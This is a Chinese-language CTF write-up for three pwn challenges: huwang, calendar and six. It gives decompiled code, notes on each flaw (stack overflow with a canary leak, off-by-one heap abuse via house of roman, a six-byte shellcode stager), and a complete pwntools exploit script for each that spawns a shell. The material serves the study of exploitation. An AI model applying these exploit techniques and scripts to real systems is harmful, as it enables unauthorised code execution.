huwang 题目 表面是个堆题,但实际上是个栈溢出。。。
给了add delete 函数,但是没有漏洞,题目额外给了一个guess 函数,guess成功会进入secret函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 void __noreturn guess() { int v0; // ST04_4 __int64 v1; // [rsp+0h] [rbp-80h] __int64 v2; // [rsp+0h] [rbp-80h] signed int i; // [rsp+0h] [rbp-80h] int v4; // [rsp+4h] [rbp-7Ch] int fd; // [rsp+8h] [rbp-78h] int rand; // [rsp+8h] [rbp-78h] int max_cnt; // [rsp+Ch] [rbp-74h] char v8; // [rsp+10h] [rbp-70h] char s[32]; // [rsp+20h] [rbp-60h] char s1; // [rsp+40h] [rbp-40h] char name; // [rsp+60h] [rbp-20h] unsigned __int64 v12; // [rsp+78h] [rbp-8h] v12 = __readfsqword(0x28u); puts("please input your name"); read(0, &name, 0x20uLL); memset(s, 0, 0x10uLL); puts("Do you want to guess the secret?"); get_str(&v8, 2LL); if ( v8 == 'y' ) { if ( access("/tmp/secret", 0) == -1 ) { HIDWORD(v1) = open("/tmp/secret", 65, 511LL); fd = open("/dev/urandom", 0); read(fd, s, 0xCuLL); LODWORD(v1) = 0; while ( (signed int)v1 <= 11 ) { s[(signed int)v1] &= 1u; LODWORD(v1) = v1 + 1; } write(SHIDWORD(v1), s, 0xCuLL); close(SHIDWORD(v1)); close(fd); } v0 = open("/tmp/secret", 0, v1); read(v0, s, 0xCuLL); close(v0); puts("Input how many rounds do you want to encrypt the secret:"); max_cnt = input_0x10(); if ( max_cnt > 10 ) { puts("What? Why do you need to encrypt so many times?"); exit(-1); } if ( !max_cnt ) { printf("At least encrypt one time", s); exit(-1); } HIDWORD(v2) = open("/tmp/secret", 513); LODWORD(v2) = 0; while ( (unsigned int)v2 < max_cnt ) { MD5((__int64)s, 16LL, (__int64)s); LODWORD(v2) = v2 + 1; } write(SHIDWORD(v2), s, 0x10uLL); close(SHIDWORD(v2)); puts("Try to guess the md5 of the secret"); read(0, &s1, 0x10uLL); if ( !memcmp(&s1, s, 0x10uLL) ) secret((__int64)&name); v4 = open("/tmp/secret", 513, 511LL, v2); rand = open("/dev/urandom", 0); read(rand, s, 0xCuLL); for ( i = 0; i <= 11; ++i ) s[i] &= 1u; write(v4, s, 0xCuLL); close(v4); close(rand); exit(0); } printf("Oh!bye %s\n", &name); exit(0); } int __fastcall secret(__int64 name) { char v1; // ST1B_1 int v3; // [rsp+1Ch] [rbp-214h] char occ; // [rsp+20h] [rbp-210h] char s; // [rsp+120h] [rbp-110h] unsigned __int64 v6; // [rsp+228h] [rbp-8h] v6 = __readfsqword(0x28u); printf("Congratulations, %s guessed my secret!\n", name); puts("And I want to know someting about you, and introduce you to other people who guess the secret!"); puts("What`s your occupation?"); get_str(&occ, 0xFFLL); v3 = snprintf( &s, 0xFFuLL, "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........." ".................................................................................................", name, &occ); puts("Here is your introduce"); puts(&s); puts("Do you want to edit you introduce by yourself[Y/N]"); v1 = getchar(); getchar(); if ( v1 == 'Y' ) read(0, &s, v3 - 1); return printf("The final presentation is as follows:%s\n", &s); }
看一下保护,除了PIE其他的都开了
分析 secret函数栈溢出,为了能够进入secret函数,需要绕过guess函数中的检查,这里便是神奇的地方了:
程序在读入随机数时会先将其清空,而之后输入加密次数时如果输入-1会使程序卡住之后超时退出,在一小段时间之内,本该被加密的文件实际上便是空的。
而此时如果再次重连程序,md5加密其实便是对0加密,这里大佬又神奇的输入HEX[00000000000000000000000000000000]的md5值并decode(‘hex’),从而进入secret函数。
因为进入secret函数内会先输出前面输入的name,这里可以巧妙地顺便将canary输出,有了canary之后的便顺水推舟了。
ps: 但是感觉后面的栈布局有点奇怪,之后再看一看
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context.log_level='debug' sh = process('./huwang') def six(name,rd,secret,flag=1): sh.recvuntil('>> \n') sh.sendline('666') sh.recvuntil('name\n') sh.send(name) sh.recvuntil('secret?\n') sh.sendline('y') sh.recvuntil('secret:\n') sh.sendline(str(rd)) if flag == 1: sh.recvuntil('secret\n') sh.send(secret) six('aaa',-1,'bbb',0) sh.recvuntil('timeout~') sh = process('./huwang') libc = ELF('./libc.so.6') six('a'*0x19,1,'4ae71336e44bf9bf79d2752e234818a5'.decode('hex')) sh.recvuntil('a'*0x19) canary = u64('\x00'+sh.recvn(7)) print 'canary: '+hex(canary) sh.recvuntil('occupation?\n') sh.send('a' * 0xff) sh.recvuntil('[Y/N]\n') sh.sendline('Y') #gdb.attach(sh) shellcode = 'a' * 0x108 + p64(canary) + p64(0) shellcode += p64(0x0000000000401573) + p64(0x0602F70) + p64(0x40101C) sh.send(shellcode) gdb.attach(sh) sh.recvuntil('Congratulations, ') libc_addr = u64(sh.recvn(6) + '\x00' * 2) - libc.symbols['puts'] sh.recvuntil('occupation?\n') sh.send('a' * 0xff) sh.recvuntil('[Y/N]\n') sh.sendline('Y') shellcode = 'a' * 0x108 + p64(canary) + p64(0) shellcode += p64(0x0000000000401573) + p64(next(libc.search('/bin/sh')) + libc_addr) + p64(libc_addr + libc.symbols['system']) sh.send(shellcode) sh.interactive()
calendar 题目 选项题 add edit delete ,但是没有show函数
add 最多可以控制四个chunk,申请最大size为0x68
edit 可以输入新的size,只有在新的size小于等于原先输入的size时,可以输入内容
delete 只有free,存在UAF
程序在输入字符串时的get_str函数存在off-by-one漏洞
1 for ( i = 0; (signed int)i <= len; ++i ) // off by one
题目提示house of roman
分析 刚开始看到没有show 函数,感觉就有点无从下手,根据house of roman的提示,去看一下这种利用方法,确实是基于没有show功能的情况下的利用方法,拿这个题顺便学习一下。
查看保护,全开(丧心病狂)1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
本地关闭随机化进行调试,调试成功后进行爆破就行了(玄学爆破,getshell要看命)
house of roman 利用 局部写 减少随机化的程度,从而给出爆破的可能 其相当于结合了fastbin attack 与 unsortedbin attack ,在没有泄露函数地址的情况下,利用unsortedbin 的首chunk的fd bk指向main_arena+88,也就是在malloc_hook附近。
ps: 如果是 64 位程序,通过malloc_printerr 触发 malloc ,基本可以稳定 getshell .
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * #context.log_level='debug' #sh=process('./task_calendar') def add(idx,size): sh.sendlineafter('>','1') sh.sendlineafter('>',str(idx)) sh.sendlineafter('>',str(size)) def edit(idx,size,info): sh.sendlineafter('>','2') sh.sendlineafter('>',str(idx)) sh.sendlineafter('>',str(size)) sh.sendafter('>',info) def dele(idx): sh.sendlineafter('>','3') sh.sendlineafter('>',str(idx)) def exp(): sh.recvuntil('input calendar name> ') sh.sendline('name') add(1,0x68) add(2,0x68) add(3,0x68) #------make chunk2 free to unsorted bin---------- edit(3,0x68,p64(0)*2+p64(0x90)+p64(0x51)+'\n') edit(1,0x68,'a'*0x68+'\x91') #gdb.attach(sh) dele(2) #gdb.attach(sh) #----fastbin attack----------------------------- edit(1,0x68,'a'*0x68+'\x71') dele(1) dele(3) edit(3,1,'\x70\x70') edit(2,1,'\xfd\x1a') #gdb.attach(sh) #--fastbin[0x70]= chunk3-> chunk2 ->malloc_hook-13----- add(1,0x60) add(4,0x60) add(3,0x60) # fix fastbinY--------- dele(4) edit(4,7,p64(0)) #gdb.attach(sh) #----unsorted bin attack------------------------- add(1,0x60) edit(1,9,p64(0)+'\x00\x1b') add(1,0x60) #----edit malloc_hook to one_gadget-------------- one_off = 0xf66f0 edit(3,5,'aaa\xa4\xd2\xaf') dele(4) dele(4) for i in range(10000): sh = process('./task_calendar') try: exp() break; except: print i sh.close() sh.interactive()
six 题目 一道感觉很奇怪的题目,不容易看懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { void (__fastcall *v3)(__int64, char *); // ST08_8 size_t v4; // rax char *v5; // rbx size_t v6; // rax char s; // [rsp+10h] [rbp-20h] unsigned __int64 v9; // [rsp+18h] [rbp-18h] v9 = __readfsqword(0x28u); mmap2chunk(); ` fd = open("/dev/urandom", 0); read(fd, &buf, 6uLL); read(fd, &v3, 6uLL); dest = mmap((void *)(v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL); --》rwx 高地址 qword_202098 = (__int64)mmap((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 0x500; --》rw 低地址 ` v3 = (void (__fastcall *)(__int64, char *))dest; memset(&s, 0, 8uLL); puts("Show Ne0 your shellcode:"); read(0, &s, 6uLL); judge_shellcode((__int64)&s); v4 = strlen(src); memcpy(dest, src, v4); v5 = (char *)dest; v6 = strlen(src); memcpy(&v5[v6], &s, 7uLL); v3(qword_202098, &s); return 0LL; }
程序刚开始mmap了两个地址,之后要求读入6个字节的shellcode,进入judge_shellcode进行判断,需要六个字节各不相同 最后会将src代码复制到第一个chunk 并执行其中的代码
分析 思路就是六个字节通过系统调用read函数,同时将rsi设置为rsp,即之后输入到栈顶,溢出到第一个chunk(即高地址的chunk),将shellcode写入即可 (大概思路应该是这样,但是题目本身理解的还不是特别清楚,后面还得再看)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * sh = process('./six') context.arch = 'amd64' sc='''push rsp;pop rsi;lahf;xchg edx,eax;syscall''' sc = asm(sc) sh.sendafter(':',sc) pay = 'a'*(0x1000-0x500) pay+='\x90'*0x36+asm(shellcraft.sh()) sh.sendline(pay) sh.interactive()